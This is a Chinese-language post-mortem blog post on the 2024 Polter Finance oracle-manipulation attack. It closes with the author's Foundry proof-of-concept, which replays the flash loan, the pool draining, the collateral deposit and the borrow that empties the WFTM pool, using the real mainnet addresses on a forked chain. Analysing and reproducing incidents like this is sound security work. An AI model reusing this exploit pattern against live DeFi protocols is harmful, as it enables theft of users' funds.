基本信息2024.11.17PolterFinance遭受预言机价格操纵攻击,损失约12Million美金。我对此攻击事件进行了梳理,分析了代码漏洞,文章结尾附上自己写的简易PoC。
2024.11.17 Polter Finance遭受预言机价格操纵攻击,损失约12Million 美金。我对此攻击事件进行了梳理,分析了代码漏洞,文章结尾附上自己写的简易PoC。 攻击交易:https://app.blocksec.com/explorer/tx/fantom/0x5118df23e81603a64c7676dd6b6e4f76a57e4267e67507d34b0b26dd9ee10eac?line=40 twitter:https://x.com/TenArmorAlert/status/1858045212519735481
本次攻击的漏洞是预言机价格操纵,黑客对Boo Token的价格进行了操纵。 我们先捞取下aave oracle上,Boo Token的价格:
经过价格操纵攻击,BooToken价格上涨了约1,000,000,000,000,000,000倍。 下面我们深入代码看一下漏洞根因: Polter Finance使用的Aave Oracle来查询Boo Token价格。 Aave Oracle使用两个池子进行价格计算:chainlink0和chainlink1
中间函数层层调用忽略不讲,我们看到最后计算价格时的逻辑: 这个最终价格是price是乘以一个系数,系数与池子里面两种币的余额相关。币的数量越少,价格越贵。
所以理论上,只要把池子里Boo Token的量降到最低,这个系数会接近无穷大,Boo token价格就非常高。如果此时用Boo token作为质押,借出其他币,就能获得比平时更多的其他币种。例如平常质押一个Boo token,可以借出一个wFTM,在攻击当下,可以借出100个wFTM。这就是本次攻击的基本原理。
上文说到Aave oracle查询boo token用到了两个池子的数据:
第一个池子提供闪电贷服务,可以利用闪电贷把池子里的boo token都拿出来。 第二个池子提供swap服务,可以通过swap把Boo Token都拿出来。 第2行:黑客向第一个池子进行闪电贷,提走了大部分Boo Token. 第6行:黑客执行闪电贷回调逻辑。 第8行:在回调逻辑中,黑客从第二个池子里swap出大部分的Boo Token。
下图是Swap的具体执行步骤: 第10行:触发swap的回调,这样就进入了黑客真正的攻击逻辑。 第13行:在swap回调函数种(也就是攻击合约的uniswapV2Call方法中),黑客首先把闪电贷得到的+swap得到的所有Boo Token都质押(deposit)到被害合约Polter Finance中。这样后续就能从里面borrow其他币种。 第35行:黑客获取Polter Finance池子中所有的币种,除了Boo Token,还有其他8个币种。黑客后续对8种token都通过borrow的方式把token借出来。本文只举例一个币种WFTM。其他币种同理,不做赘述。 第40行:黑客开始borrow WFTM。 最后我们看一下在borrow函数中到底发生了什么: 第43行:借贷前需要获取Boo token价格,这里是读取了Aave Oracle的价格。 第59行和第72行:这两行分别从上文提到的两个池子里读取价格,但是因为在前面的攻击步骤中,Boo token量已经大量减少,导致价格上升,所以这两个池子返回的价格都高的离谱,所以通过质押(deposit,发生在第13行)的Boo Token,可以把池子里所有的WFTM都借出来。 以上就是攻击的重点步骤。当然还有很多细节,比如重复攻击8次获得所有Token,偿还swap的费用,偿还闪电贷等等,因为比较简单,不一一描述。
黑客在攻击时,为了利益最大化,将polter Finance池子里8个币种都掏空了(wFTM, MIM等)。 但是我的PoC只对WFTM币种进行攻击,验证了攻击的可行性,简化攻击步骤。 最终PoC获利960666个Boo Token,根据当时的价格,约1.14M美金。
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./interface.fantom.sol";
contract polterfinance is Test {
address aaceOracle = 0x6808B5cE79d44E89883c5393b487c4296aBb69fe;
address BooToken = 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE;
address BooWFTM= 0xEd23Be0cc3912808eC9863141b96A9748bc4bd89;
address payable WFT= payable(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
address SpookyLP= 0xEc7178F4C41f346b2721907F5cF7628E388A7a58;
address polterFinanceProxy=0x867fAa51b3A437B4E2e699945590Ef4f2be2a6d5;
address pFTM = 0xbbce4b1513D4285bD7a59C2c63835535151c8e7c;
address payable spookySwapRouter= payable(0xF491e7B69E4244ad4002BC14e878a34207E38c29);
function setUp() external {
vm.createSelectFork("https://rpc.ankr.com/fantom", 97508839 - 1);
deal(address(this), 1e18);
}
function testAttack() external{
uint256 booWFTMBalance = SpookyToken(BooToken).balanceOf(BooWFTM);
console.log("before Attacking, I have Boo token: ",SpookyToken(BooToken).balanceOf(address(this))/10**18);
IBooWTFM(BooWFTM).flash(address(this), 0, booWFTMBalance-1000000, "");
console.log("before Attacking, I have Boo token: ",SpookyToken(BooToken).balanceOf(address(this))/10**18);
}
function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
uint256 spLPBalance=SpookyToken(BooToken).balanceOf(SpookyLP);
//token0 is wFTM 0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83
//token1 is booToken 0x841FAD6EAe12c286d1Fd18d1d525DFfA75C7EFFE
UniswapV2Pair(SpookyLP).swap(0, spLPBalance-1000000, address(this), "1");
uint256 wftBalance=IERC20(WFT).balanceOf(address(this));
IERC20(WFT).approve(spookySwapRouter,wftBalance);
address[] memory tokens=new address[](2);
tokens[0]=WFT;
tokens[1]=BooToken;
UniswapV2Router02(spookySwapRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(wftBalance,0,tokens,address(this),block.timestamp+1000);
IERC20(BooToken).transfer(BooWFTM,269849355201174742984915);//这个数值是闪电贷中的fee1+手续费,我直接抄的黑客算好的值,因为不知道怎么算手续费。
}
function uniswapV2Call(address sender,uint amount0, uint amount1, bytes calldata data) external{
SpookyToken(BooToken).approve(polterFinanceProxy, 1000000000000000000);
LendingPoolProxy(polterFinanceProxy).deposit(BooToken,1000000000000000000,address(this),0);
uint256 pFTMBalance_WFT=IERC20(WFT).balanceOf(pFTM);
LendingPoolProxy(polterFinanceProxy).borrow(WFT,pFTMBalance_WFT,2,0,address(this));
IERC20(BooToken).transfer(SpookyLP,1157102317495543848696788);//这个数应该是swap时Amount1的数量+0.003的手续费。我直接照抄黑客的数值。
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!